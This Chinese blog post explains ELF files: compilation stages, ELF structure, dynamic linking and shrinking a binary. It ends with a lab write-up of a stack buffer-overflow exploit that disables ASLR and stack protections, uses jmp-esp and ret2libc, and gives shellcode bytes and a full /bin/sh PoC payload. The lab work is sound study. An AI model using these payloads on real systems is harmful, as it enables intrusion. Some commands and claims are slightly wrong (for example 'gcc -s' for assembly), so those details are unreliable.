elf文件从原理到实现个人总结

总感觉自己什么也没有做,时间就过去了。还是自己慢慢得积累吧。

——杰

前言

什么是elf文件,或许在校园,你听过,也有学生学过。但是当你步入社会,从事计算机相关的职业,那么你就不得不了解这个东西。本人在初次接触的时候,也是感觉一顿茫然,后来用了一段时间的学习,才初识什么是elf文件,伴随着兴趣,我深入学习了一些,对它的原理有所顿悟。故而我在这里做一份个人总结,希望可以帮到各位看客。

一般高级语言程序编译的过程莫过于:预处理、编译、汇编、链接。这里以C语言为例。

  1. 预处理
    预处理是 C 语言程序从源代码变成可执行程序的第一步,主要是 C 语言编译器对各种预处理命令进行处理,包括头文件的包含、宏定义的扩展、条件编译的选择等。常见的有#define,#include,#ifdef … #endif
gcc -E test1.c             #这里可以看到程序运行的完整预处理过程

实际上 gcc 在这里调用了 cpp(虽然通过 gcc -v 仅看到 cc1),cpp 即 The C Preprocessor,主要用来预处理宏定义、文件包含、条件编译等

  1. 编译
    C 语言编译器会进行词法分析、语法分析,接着会把源代码翻译成中间语言,即汇编语言。
gcc -S test1.c             #可以看到这个编译的过程

Shell 等解释语言也会经历一个词法分析和语法分析的阶段,不过之后并不会进行“翻译”,而是“解释”,边解释边执行。

  • 语法分析
    仅仅进行语法检查。可以如下:在这里插入图片描述

语法错误在所难免,我通过看一下参考文章,有个很好的建议,就是可以给自己做一个错误表格,方便自己以后查阅。

  • 优化操作
    很多的平台和用户,都希望得到的汇编代码是优化过后的。这里提供一条指令:
gcc -o test test1.c              #汇编前的优化

在这里插入图片描述

  1. 汇编
gcc -s test1.c                #生成汇编文件

在这里插入图片描述

[test@localhost ~]$ gcc -S test1.c
[test@localhost ~]$ cat test1.s
 .file "test1.c"
 .section .rodata
.LC0:
 .string "hello, world!"
 .text
.globl main
 .type main, @function
main:
 pushl %ebp
 movl %esp, %ebp
 andl $-16, %esp
 subl $16, %esp
 movl $.LC0, (%esp)
 call puts
 movl $0, %eax
 leave
 ret
 .size main, .-main
 .ident "GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-4)"
 .section .note.GNU-stack,"",@progbits

  1. 生成目标代码
    从汇编语言,生成目标文件,通常我们用的指令是as 和 -c。如下图:
[test@localhost ~]$ file test1.s
test1.s: ASCII assembler program text
[test@localhost ~]$ gcc -c test1.s
[test@localhost ~]$ file test1.o
test1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
[test@localhost ~]$ as -o test1.o test1.s
[test@localhost ~]$ file test1.o
test1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

这里的test1.o目标文件,就是elf文件。

ELF的结构

1.什么是ELF文件?
ELF格式,全名为可执行和可链接格式(Executable and Linkable Format)。

维基百科中的定义:在计算机科学中,ELF文件是一种用于可执行文件、目标文件、共享库和核心转储(core dump)的标准文件格式。其中核心转储是指: 操作系统在进程收到某些信号而终止时,将此时进程地址空间的内容以及有关进程状态的其他信息写出的一个磁盘文件。这种信息往往用于调试。

通俗点说由汇编器和链接器生成的文件都属于ELF文件

想了解这个ELF的结构,就必须要知道一些工具,其中很重的一个库,就说BFD。

BFD is a package which allows applications to use the same routines tooperate on object files whatever the object file format. A new object fileformat can be supported simply by creating a new BFD back end and adding it tothe library.

对ELF文件,我们通常需要用到的指令有readelf,objdump,strip等。
ELF文件,主要可以分为三类:

  • 可重定位文件(relocatable file) 它保存了一些可以和其他目标文件链接并生成可执行文件或者共享库的二进制代码和数据。
  • 可执行文件(excutable file)它保存了适合直接加载到内存中执行的二进制程序。
  • 共享库文件(shared object file)一种特殊的可重定位目标文件,可以在加载或者运行时被动态的加载进内存并链接。

要深入理解ELF的结构,我们要通过指令来学习。

在这里插入图片描述
通过上图,我们可以看到一个典型的ELF文件包括ELF Header、Sections、Section Header Table和Program Header Table。

在这里插入图片描述

ELF各个结构的详解及细分这里我就不多做细述。

  1. 比较各个文件类型
    (可重定位文件)在这里插入图片描述
    (可执行文件)在这里插入图片描述
    (静态连接库,也是可重定向文件)在这里插入图片描述

(动态链接库)在这里插入图片描述
经过上面的演示基本可以看出它们之间的不同:
可重定位文件本身不可以运行,仅仅是作为可执行文件、静态链接库(也是可重定位文件)、动态链接库的 “组件”。
静态链接库和动态链接库本身也不可以执行,作为可执行文件的“组件”,它们两者也不同,前者也是可重定位文件(只不过可能是多个可重定位文件的集合),并且在链接时加入到可执行文件中去。
而动态链接库在链接时,库文件本身并没有添加到可执行文件中,只是在可执行文件中加入了该库的名字等信息,以便在可执行文件运行过程中引用库中的函数时由动态链接器去查找相关函数的地址,并调用它们。

  1. 链接
    上文提到了重定位文件,重定位是将符号引用与符号定义进行链接的过程。故而链接是处理可重定位文件,把它们的各种符号引用和符号定义转换为可执行文件中的合适信息(一般是虚拟内存地址)的过程。
    链接一般可分为静态链接和动态链接。静态链接是程序开发阶段程序员用静态链接器手动链接的过程,而动态链接则是程序运行期间系统调用动态链接器自动链接的过程。
    关于静态链接过程具体的细节,可以这样描述。把可重定位文件依次读入,分析各个文件的文件头,进而依次读入各个文件的节区,并计算各个节区的虚拟内存位置,对一些需要重定位的符号进行处理,设定它们的虚拟内存地址等,并最终产生一个执行文件或者是动态链接库。
gcc -v -o test test1.o              #我们可以看到可重位文件链接成可执行文件的过程

关于动态链接器的具体细节,大家可以看下面的这个文档
动态链接器的执行细节

为了方便下面的学习,我对上面的学习及指令进行一次,简单的总结

[test@localhost ~]$ gcc -c test1.c                   #-c 生成可重定位的文件
[test@localhost ~]$ file test1.o
test1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
[test@localhost ~]$ gcc -o test test1.o              #-o 生成可执行文件
[test@localhost ~]$ file test
test: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
[test@localhost ~]$ gcc -fpic -shared -Wl,-soname,libtest.so.0 -o libtest.so.0.0 test1.o   
                                                    #生成动态链接库 libtest.so.0.0
[test@localhost ~]$ file libtest.so.0.0
libtest.so.0.0: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped

仔细研究ELF文件的结构,我们可以发现:
无论是文件头部、程序头部表、节区头部表,还是节区,它们都对应着 C 语言里头的一些结构体(elf.h 中定义)。文件头部主要描述 ELF 文件的类型,大小,运行平台,以及和程序头部表和节区头部表相关的信息。节区头部表则用于可重定位文件,以便描述各个节区的信息,这些信息包括节区的名字、类型、大小等。程序头部表则用于描述可执行文件或者动态链接库,以便系统加载和执行它们。而节区主要存放各种特定类型的信息,比如程序的正文区(代码)、数据区(初始化和未初始化的数据)、调试信息、以及用于动态链接的一些节区,比如解释器(.interp)节区将指定程序动态装载 / 链接器 ld-linux.so 的位置,而过程链接表(plt)、全局偏移表(got)、重定位表则用于辅助动态链接过程。

  1. [ 动态链接器:]
    Linux 下 elf 文件的动态链接器是 ld-linux.so,即 /lib/ld-linux.so.2。并且动态链接器有一个专门的节区来存放,就是.interp(名字的由来:因为当 Shell 解释器或者其他父进程通过exec启动我们的程序时,系统会先为ld-linux创建内存映像,然后把控制权交给ld-linux,之后ld-linux负责为可执行程序提供运行环境,负责解释程序的运行)。还有另一个.dynamic,它存放了和动态链接相关的很多信息,例如动态链接器通过它找到该文件使用的动态链接库
    动态链接器的执行过程:
    1.将可执行文件的内存段添加到进程映像中;
    2.把共享目标内存段添加到进程映像中;
    3.为可执行文件和它的共享目标(动态链接库)执行重定位操作;
    4.关闭用来读入可执行文件的文件描述符,如果动态链接程序收到过这样的文件描述符的话;
    5.将控制转交给程序,使得程序好像从 exec() 直接得到控制

  2. [got (全局偏移表):]需要配合plt,可以查看具体的地址。got节和.plt节一起提供了对导入的共享库函数的访问入口,由动态链接器在运行时进行修改。如果攻击者获得了堆或者.bss漏洞的一个指针大小的写原语,就可以对该节任意进行修改。.got.plt节跟程序执行有关,因此节类型被标记为SHT_PROGBITS。

  3. [plt (过程连接表):] 一些符号在可重定位文件和可执行文件中的地址都没有确定,等于它属于外部符号,可能定义在动态链接库中,在程序运行时需要通过动态链接器。

设计一个最小的ELF文件

  1. 准备工作:
[test@localhost ~]$ touch wh.c #生成一个C语言的脚本
[test@localhost ~]$ vim wh.c
[test@localhost ~]$ cat wh.c
#include <stdio.h>
int main(void)
{
printf("hello, world!\n");
return 0;
}
[test@localhost ~]$ chmod 777 wh.c #提权 (我们很多时候,拿到的elf文件无法运行,就是因为我们没有提权)
  1. 生成ELF:
[test@localhost ~]$ gcc -c wh.c #生成可重定向的目标文件
[test@localhost ~]$ file wh.o
wh.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
[test@localhost ~]$ gcc -o wh wh.o #生成可执行目标文件
[test@localhost ~]$ file wh
wh: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
[test@localhost ~]$gcc -fpic -shared -W1,-soname,libhello.so.0 -o libhello.so.0.0 wh.o
#生成动态链接库
[test@localhost ~]$ file libhello.so.0.0
libhello.so.0.0: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
  1. “减肥”
[test@localhost ~]$ wc -c wh
4640 wh
[test@localhost ~]$ size wh                                       #查看当前文件的大小
   text    data     bss     dec     hex filename
   1037     252       8    1297     511 wh
[test@localhost ~]$ strip -R .hash wh                             #删除.hash节区
[test@localhost ~]$ wc -c wh
3000 wh
[test@localhost ~]$ strip -R .gnu.version wh                      #删除.gnu.version
[test@localhost ~]$ wc -c wh
2948 wh

这里删除的两个节区,需要我们来查看文件的结构,知道那些地方没有用处,可以删除,此外,“减肥”,还可以让我们的程序执行速度大大提升。

利用汇编来“减肥”

[test@localhost ~]$ gcc -S wh.c
[test@localhost ~]$ cat wh.s
 .file "wh.c"
 .section .rodata
.LC0:
 .string "hello, world!"
 .text
.globl main
 .type main, @function
main:
 pushl %ebp
 movl %esp, %ebp
 andl $-16, %esp
 subl $16, %esp
 movl $.LC0, (%esp)
 call puts
 movl $0, %eax
 leave
 ret
 .size main, .-main
 .ident "GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-4)"
 .section .note.GNU-stack,"",@progbits
[test@localhost ~]$ gcc -o wh wh.s

在这里插入图片描述
(这里是对汇编语言,进行了重写,删除了没有用处的标记,简化了语言)
然后可以合并代码段、程序头和文件头;在非连续的空间插入代码,不断地简化代码。

ELF文件的逆向

通过分析目标系统以识别系统的组件以及这些组件之间的相互关系并创建该系统的另一种形式的表示或更高级的抽象过程

——IEEE 1990定义

一般的逆向过程:
在这里插入图片描述
逆向工程的两个阶段:
系统级逆向
对程序进行大范围的观察,确定程序的基本结构,找到感兴趣的代码区域。
代码级逆向
从程序的二进制代码中提取设计理念和算法。由于编译器抹掉了很多便于理解的信息,即使有完整文档,也面临理解的困难。

一个C语言:在这里插入图片描述
明显foo()存在栈溢出漏洞,同时dummy()模仿大型的程序。在大型的程序中,jmp esp 这样的代码,很容易找到。

实验前准备:
关闭:ASLR(系统级)
命令:sudo sysctl kernel.randomize_va_space=0
禁用:canary 和 NX
命令:gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack

实验原理:通过buf溢出,来控制PC指针,从而来执行我们想实现的代码。
流程: (逆向,我们可以反推)执行我们想要的代码 < —ret返回值,返回到我们的目标地址 < — 填满缓冲区,让我们的目标地址正好覆盖返回地址 < — 生成若干字符,确定buf大小 < —确定buf开始地址和偏移

最简单的办法就是把想执行的代码用机器码表示, 即俗称的shellcode, 将其写入程序, 然后将返回地址修改为该段shellcode的起始地址。。

低地址 —> 高地址 …
[shellcode]…[返回地址]…
或者 …
[返回地址]…[shellcode]…
前者是把shellcode写在foo函数的栈帧里, 但其大小有限; 后者则是把shellcode写在调用者(main)的栈帧里. 关键是地址如何确定? shellcode如何编写?

这里我们选用第二种(较为常见),准备了两个shellcode:

# _exit
mov eax, 0x01; 
mov ebx, 66; 
int 0x80;
# _环境变量
xor eax, eax
push eax 
push 0x68732f2f 
push 0x6e69622f 
mov eax, esp 
push eax 
mov edi, 0xf7e2cb30 
call edi

1.确定缓冲区的大小
返回地址看似是buf+10, 但考虑到编译器的不同会导致预留(对齐)不同的空间, 所以需要精确确认
生成若干规则字符串:$ ragg2 -P 40 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
或者使用python pattern.py create 50
在这里插入图片描述
0x41494141,表明用的是小端存储,翻译过来就是AAIA,查找字符串,出现在该序列的第23个。

Buf的首地址在哪里呢?
在这里插入图片描述
在这里插入图片描述
Buf的首地址=0xffffc578-0x12

通用的方法是什么:在程序中,寻找jmp esp、call esp之类的指令片段来将执行流引导到我们的shellcode上。
nop; jmp esp 90ffe4
在正常的操作中,我们可以通过反汇编和gadgets来寻找这类关键跳转。
在这里插入图片描述
现在我们来构造payload:
Payload=“A”*22+跳转地址+shellcode
跳转地址:\x21\x85\x04\x08
Shellcode=\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80
为了增加payload的鲁棒性,我们可以在跳转地址和shellcode中间来添加若干nop.

在这里插入图片描述
66,是我们预先设置的返回值。验证成功。

增加难度,我们调用一个可以交互的窗口。
程序在执行的过程中,会和系统产生交互,调用到库函数。我们可以利用这一点,让程序执行system(“/bin/sh”)函数。
问题的关键是什么?寻找到system的地址。System函数,存在于libc动态链接库。
1.查阅libc的地址入口。
2.计算system函数与libc的偏移,从而得出system的地址。
3.找到/bin/sh (程序和系统里,都可能存在)

libc的地址
命令: ldd 或者 LD_TRACE_LOADED_OBJECTS=1
在这里插入图片描述
system函数相对于libc.so的偏移
命令:readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system在这里插入图片描述
计算得system地址=0xf7df1000+0x0003ab30=0xf7e2bb30

找/bin/sh
在程序里找:$ rafind2 -z -s /bin/sh ./victim
没有找到
在系统里找:$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
在这里插入图片描述
pyload=‘A’*22+system地址+任意地址+bin/sh地址

构造payload(若找不到bin\sh,我们还可以通过环境变量来达成目的)
Payload=‘A’*22+跳转地址+shellcod
编写shellcode
在这里插入图片描述
Shellcode的机器码:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x50\xe8\xe3\xb7\xff\xd3

最后测试
生成poc: ‘A’*22 + ‘\xd7\x84\x04\x08’ + ‘\x90’*50 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x50\xe8\xe3\xb7\xff\xd3’
在这里插入图片描述
成功!

根据poc,打造武器exp: (代码如下)

在这里插入图片描述
在这里插入图片描述

注明*

这里后面的实验部分,是我将自己的实验演示ppt简单复制过来的,给大家共享,希望可以与大家一起进步,如果哪里有问题的,请与我联系,我可与君细谈。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值